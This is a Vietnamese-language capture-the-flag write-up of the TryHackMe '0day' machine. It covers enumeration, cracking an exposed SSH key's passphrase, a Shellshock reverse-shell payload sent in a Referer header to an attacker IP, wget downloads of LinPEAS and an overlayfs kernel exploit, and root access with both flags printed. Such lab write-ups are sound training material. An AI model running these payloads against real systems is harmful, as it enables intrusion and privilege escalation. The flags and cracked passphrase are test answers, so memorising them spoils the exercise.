0day
Exploit Ubuntu, like a Turtle in a Hurricane.
Initial Reconnaissance
Service Scanning
$ sudo nmap -sS -sV -sC -v 10.10.207.66
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
| 2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
| 256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
|_ 256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0day
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelMáy này đang chạy những service khá cũ, cụ thể là OpenSSH 6.6.1p1 và Apache 2.4.7 trên Ubuntu. Điều này gợi ý rằng hệ thống có thể cũng đang dùng một phiên bản Linux có kernel cũ. Nếu đúng như vậy thì rất có thể tồn tại các lỗ hổng bảo mật (CVE) được công bố trong giai đoạn đó mà chúng ta có thể khai thác.
OpenSSH 6.6.1p1 được phát hành 15/03/2014:

Apache 2.4.7 được phát hành cuối năm 2013:

SSH 22

Dịch vụ SSH đang bật chế độ password authentication, nghĩa là chúng ta có thể đăng nhập bằng mật khẩu thay vì chỉ dùng key.
HTTP 80

Ryan Montgomery (0day) - tác giả của bài này.
Directory Enumeration
Chúng ta đã sử dụng gobuster để tiến hành quét các thư mục ẩn trên web với wordlist mặc định của dirb, đồng thời kiểm tra thêm các extensions như php và txt. Các mã trạng thái 403 và 404 được bỏ qua.
$ gobuster dir -u http://10.10.207.66/ -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 403,404
/admin (Status: 301) [Size: 311] [--> http://10.10.207.66/admin/]
/backup (Status: 301) [Size: 312] [--> http://10.10.207.66/backup/]
/cgi-bin (Status: 301) [Size: 313] [--> http://10.10.207.66/cgi-bin/]
/css (Status: 301) [Size: 309] [--> http://10.10.207.66/css/]
/img (Status: 301) [Size: 309] [--> http://10.10.207.66/img/]
/index.html (Status: 200) [Size: 3025]
/js (Status: 301) [Size: 308] [--> http://10.10.207.66/js/]
/robots.txt (Status: 200) [Size: 38]
/robots.txt (Status: 200) [Size: 38]
/secret (Status: 301) [Size: 312] [--> http://10.10.207.66/secret/]
/uploads (Status: 301) [Size: 313] [--> http://10.10.207.66/uploads/]/admin

Không có gì ở đây cả.
/backup

Chúng ta đã phát hiện một SSH private key. Việc đầu tiên là lưu key này lại và sử dụng john để crack paraphrase của nó.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547
T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
FznFI7jsxYFwPUqZtkz5sTcX1afch+IU5/Id4zTTsCO8qqs6qv5QkMXVGs77F2kS
Lafx0mJdcuu/5aR3NjNVtluKZyiXInskXiC01+Ynhkqjl4Iy7fEzn2qZnKKPVPv8
9zlECjERSysbUKYccnFknB1DwuJExD/erGRiLBYOGuMatc+EoagKkGpSZm4FtcIO
IrwxeyChI32vJs9W93PUqHMgCJGXEpY7/INMUQahDf3wnlVhBC10UWH9piIOupNN
SkjSbrIxOgWJhIcpE9BLVUE4ndAMi3t05MY1U0ko7/vvhzndeZcWhVJ3SdcIAx4g
/5D/YqcLtt/tKbLyuyggk23NzuspnbUwZWoo5fvg+jEgRud90s4dDWMEURGdB2Wt
w7uYJFhjijw8tw8WwaPHHQeYtHgrtwhmC/gLj1gxAq532QAgmXGoazXd3IeFRtGB
6+H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chạy john, cần phải chuyển định dạng key về dạng phù hợp bằng ssh2john, sau đó mới tiến hành crack.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ssh2john key > johnkey
┌──(hungnt㉿kali)-[~/Desktop]
└─$ john johnkey --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (key)
1g 0:00:00:00 DONE (2025-07-21 09:13) 50.00g/s 25600p/s 25600c/s 25600C/s jeffrey..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Khi đã có key, chúng ta thử sử dụng nó để SSH vào target. Tuy nhiên, vấn đề gặp phải là chưa có thông tin chính xác về chủ sở hữu của key này. Vì vậy, chúng ta phải thử với nhiều username có khả năng liên quan.

Trong quá trình thử kết nối SSH, ta thấy rằng phía client đã tắt hỗ trợ RSA signature vì lý do bảo mật, nên cần tạm thời bật lại để tiến hành xác thực bằng key này.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i key root@$ip
Enter passphrase for key 'key':
root@10.10.207.66's password:
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i key ryan@$ip
Enter passphrase for key 'key':
ryan@10.10.207.66's password:
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i key 0day@$ip
Enter passphrase for key 'key':
0day@10.10.207.66's password:Có hai khả năng sẽ xảy ra khi thử SSH: hoặc key này không thuộc về user đã chọn, hoặc user đó hoàn toàn không tồn tại trên hệ thống mục tiêu.
/cgi-bin

/img

Không có gì đặc biệt.
/robots.txt

Well…
/secret

<html>
<head>
<title>Turtles?</title>
</head>
<body>
<center><img src="turtle.png"></center>
</body>
</html>Không có gì đặc biệt.
/uploads

Cũng không có gì ở đây cả.
Shellshock Attack
Vì chỉ có thư mục /cgi-bin trả về kết quả permission denied, nên có thể sẽ hợp lý nếu chúng ta tiếp tục enumerate các thư mục con của nó.
gobuster dir -u http://10.10.207.66/cgi-bin/ -w /usr/share/wordlists/dirb/vulns/cgis.txt -t 128 -x cgi -b 403,404
Chúng ta phát hiện một file có tên /test.cgi.

Chúng ta thử tìm kiếm nhanh về các lỗ hổng liên quan đến file .cgi trong khoảng thời gian mà ta đã xác định lúc ban đầu trên Google.


Kết quả cho thấy có một lỗ hổng được gọi là ShellShock. Cách exploit của lỗ hổng này rất đơn giản, chỉ cần inject OS command vào trong phần User-Agent của HTTP request.


Chúng ta áp dụng exploit này vào tình huống hiện tại bằng cách sử dụng Burp Suite.




Trong quá trình thử nghiệm, chúng ta phát hiện rằng có thể chèn payload vào bất kỳ header nào không chỉ là User-Agent và exploit vẫn hoạt động bình thường.
Shell as www-data
Tiếp theo, chúng ta thiết lập một reverse shell listener và thực thi payload sau đây để tạo kết nối:
Referer: () { :; }; echo; echo; /bin/bash -i >& /dev/tcp/10.17.21.52/4242 0>&1┌──(hungnt㉿kali)-[~/Desktop]
└─$ rlwrap -cAr nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.17.21.52] from (UNKNOWN) [10.10.207.66] 59501
bash: cannot set terminal process group (857): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/usr/lib/cgi-bin$ whoami
whoami
www-dataChúng ta đã thành công trong việc tạo reverse shell connection với quyền của user www-data. Bây giờ, ta bắt đầu tìm file user.txt.
user.txt
www-data@ubuntu:/$ cd /home/ryan
cd /home/ryan
www-data@ubuntu:/home/ryan$ ls -la
ls -la
total 28
drwxr-xr-x 3 ryan ryan 4096 Sep 2 2020 .
drwxr-xr-x 3 root root 4096 Sep 2 2020 ..
lrwxrwxrwx 1 ryan ryan 9 Sep 2 2020 .bash_history -> /dev/null
-rw-r--r-- 1 ryan ryan 220 Sep 2 2020 .bash_logout
-rw-r--r-- 1 ryan ryan 3637 Sep 2 2020 .bashrc
drwx------ 2 ryan ryan 4096 Sep 2 2020 .cache
-rw-r--r-- 1 ryan ryan 675 Sep 2 2020 .profile
-rw-rw-r-- 1 ryan ryan 22 Sep 2 2020 user.txt
www-data@ubuntu:/home/ryan$ cat user.txt
cat user.txt
THM{Sh3llSh0ck_r0ckz}LinPEAS
Để kiểm tra các vector leo quyền, chúng ta chuyển LinPEAS sang máy target và enumerate:
www-data@ubuntu:/tmp$ wget http://10.17.21.52/linpeas.sh -O linpeas.sh
wget http://10.17.21.52/linpeas.sh -O linpeas.sh
--2025-07-20 20:36:38-- http://10.17.21.52/linpeas.sh
Connecting to 10.17.21.52:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 954437 (932K) [text/x-sh]
Saving to: 'linpeas.sh'
0K .......... .......... .......... .......... .......... 5% 99.2K 9s
...
900K .......... .......... .......... .. 100% 12.1M=3.2s
2025-07-20 20:36:42 (293 KB/s) - 'linpeas.sh' saved [954437/954437]
www-data@ubuntu:/tmp$ chmod +x linpeas.sh
LinPEAS cho thấy kernel version có khả năng cao là vector để thực hiện việc leo quyền. Vì vậy, chúng ta tìm kiếm các exploit phù hợp bằng cách sử dụng searchsploit.

Kết quả cho thấy exploit đầu tiên có vẻ là lựa chọn tốt nhất. Tuy nhiên, do sự khác biệt giữa phiên bản glibc trên máy target và trên máy của chúng ta, chúng ta không thể biên dịch exploit trên máy của mình rồi chạy trực tiếp trên target.
Giải pháp là dùng một docker container để biên dịch exploit. Để thực hiện điều này, chúng ta cần xác định chính xác phiên bản Ubuntu sử dụng eglibc 2.19.


Ta pull image từ Docker Hub:
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker pull ubuntu:14.04
14.04: Pulling from library/ubuntu
2e6e20c8e2e6: Pull complete
0551a797c01d: Pull complete
512123a864da: Pull complete
Digest: sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30
Status: Downloaded newer image for ubuntu:14.04
docker.io/library/ubuntu:14.04Chạy container:
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker run -it 13b66b487594 bash
root@f5608d0d77fd:/# apt update && apt install build-essential
root@f5608d0d77fd:/# ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6.15) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
root@f5608d0d77fd:/# gcc
gcc: fatal error: no input files
compilation terminated.Copy exploit vào container.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f5608d0d77fd 13b66b487594 "bash" 3 minutes ago Up 3 minutes busy_perlman
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker cp ./37292.c f5608d0d77fd:/home/37292.c
Successfully copied 6.66kB to f5608d0d77fd:/home/37292.cBiên dịch exploit bằng gcc:
root@f5608d0d77fd:/home# ls
37292.c
root@f5608d0d77fd:/home# gcc 37292.c -o exploit
root@f5608d0d77fd:/home# file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b78315e37f0adcd72c7c8c6ba906b78d207f5011, not stripped
root@f5608d0d77fd:/home# ldd exploit
linux-vdso.so.1 => (0x00007f93cbff2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f93cb837000)
/lib64/ld-linux-x86-64.so.2 (0x00007f93cbc00000)Copy ngược lại ra máy host và chuyển sang target:
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker cp f5608d0d77fd:/home/exploit ./exploit
Successfully copied 15.4kB to /home/hungnt/Desktop/exploit
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...www-data@ubuntu:/tmp$ wget http://10.17.21.52/exploit -O exploit
wget http://10.17.21.52/exploit -O exploit
--2025-07-20 22:18:05-- http://10.17.21.52/exploit
Connecting to 10.17.21.52:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13652 (13K) [application/octet-stream]
Saving to: 'exploit'
0K .......... ... 100% 24.2K=0.6s
2025-07-20 22:18:06 (24.2 KB/s) - 'exploit' saved [13652/13652]
www-data@ubuntu:/tmp$ chmod +x exploit
chmod +x exploit
www-data@ubuntu:/tmp$ ./exploit
./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
gcc: error trying to exec 'cc1': execvp: No such file or directory
couldn't create dynamic libraryCó vấn đề gì đó xảy ra với gcc. Chúng ta cùng xem qua exploit source code.

Đoạn code này cố gắng chạy một system command để biên dịch ofs-lib.c thành một shared library ofs-lib.so. Chúng ta có thể thấy rằng ofs-lib.c đã được tạo ngay ở đoạn code phía trên.
Bây giờ ta thử chạy command này thủ công.
www-data@ubuntu:/tmp$ gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w
<fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w
gcc: error trying to exec 'cc1': execvp: No such file or directoryVì ofs-lib.c đã được tạo trong lần chạy đầu tiên, nên chúng ta sẽ download ofs-lib.c về máy của mình và thử biên dịch thủ công, như vậy sẽ không cần phải biên dịch trên target nữa.
www-data@ubuntu:/tmp$ python3 -m http.server 1234┌──(hungnt㉿kali)-[~/Desktop]
└─$ wget http://10.10.207.66:1234/ofs-lib.c -O ofs-lib.c
--2025-07-21 12:34:35-- http://10.10.207.66:1234/ofs-lib.c
Connecting to 10.10.207.66:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 418 [text/plain]
Saving to: ‘ofs-lib.c’
ofs-lib.c 100%[===================================================================>] 418 --.-KB/s in 0s
2025-07-21 12:34:35 (49.0 MB/s) - ‘ofs-lib.c’ saved [418/418]Chúng ta đặt lib = 0, như vậy sẽ không còn system command nào được chạy nữa.

Tiếp theo, copy exploit đã chỉnh sửa vào container và biên dịch lại.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker cp 37292.c f5608d0d77fd:/home/
Successfully copied 6.66kB to f5608d0d77fd:/home/
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker cp ofs-lib.c f5608d0d77fd:/home/
Successfully copied 2.05kB to f5608d0d77fd:/home/root@f5608d0d77fd:/home# gcc 37292.c -o ofs
root@f5608d0d77fd:/home# gcc -fPIC -shared -o ofs-lib.so ofs-lib.c -ldl -w
root@f5608d0d77fd:/home# ls -la
total 48
drwxr-xr-x 1 root root 4096 Jul 21 05:38 .
drwxr-xr-x 1 root root 4096 Jul 21 05:38 ..
-rw-r--r-- 1 1000 1000 4901 Jul 21 05:36 37292.c
-rwxr-xr-x 1 root root 13652 Jul 21 05:38 ofs
-rw-rw-r-- 1 1000 1000 418 Jul 21 05:23 ofs-lib.c
-rwxr-xr-x 1 root root 8446 Jul 21 05:38 ofs-lib.soSau đó, copy cả binary ofs và shared library ofs-lib.so về host rồi chuyển chúng sang target một lần nữa.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker cp f5608d0d77fd:/home/ofs .
Successfully copied 15.4kB to /home/hungnt/Desktop/.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ docker cp f5608d0d77fd:/home/ofs-lib.so .
Successfully copied 10.2kB to /home/hungnt/Desktop/.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Shell as root
Chúng ta chạy exploit:
www-data@ubuntu:/tmp$ wget http://10.17.21.52/ofs -O ofs
wget http://10.17.21.52/ofs -O ofs
--2025-07-20 22:40:37-- http://10.17.21.52/ofs
Connecting to 10.17.21.52:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13652 (13K) [application/octet-stream]
Saving to: 'ofs'
0K .......... ... 100% 48.3K=0.3s
2025-07-20 22:40:38 (48.3 KB/s) - 'ofs' saved [13652/13652]
www-data@ubuntu:/tmp$ wget http://10.17.21.52/ofs-lib.so -O ofs-lib.so
wget http://10.17.21.52/ofs-lib.so -O ofs-lib.so
--2025-07-20 22:40:45-- http://10.17.21.52/ofs-lib.so
Connecting to 10.17.21.52:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8446 (8.2K) [application/octet-stream]
Saving to: 'ofs-lib.so'
0K ........ 100% 6.54M=0.001s
2025-07-20 22:40:46 (6.54 MB/s) - 'ofs-lib.so' saved [8446/8446]
www-data@ubuntu:/tmp$ chmod +x ofs
chmod +x ofs
www-data@ubuntu:/tmp$ ./ofs
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
## whoami
root
## id
uid=0(root) gid=0(root) groups=0(root),33(www-data)Kết quả là chúng ta đã thành công giành được quyền root!
root.txt
## cd /root
## ls -la
total 20
drwx------ 2 root root 4096 Sep 2 2020 .
drwxr-xr-x 22 root root 4096 Sep 2 2020 ..
lrwxrwxrwx 1 root root 9 Sep 2 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 19 2014 .bashrc
-rw-r--r-- 1 root root 140 Feb 19 2014 .profile
-rw-r--r-- 1 root root 30 Sep 2 2020 root.txt
## cat root.txt
THM{g00d_j0b_0day_is_Pleased}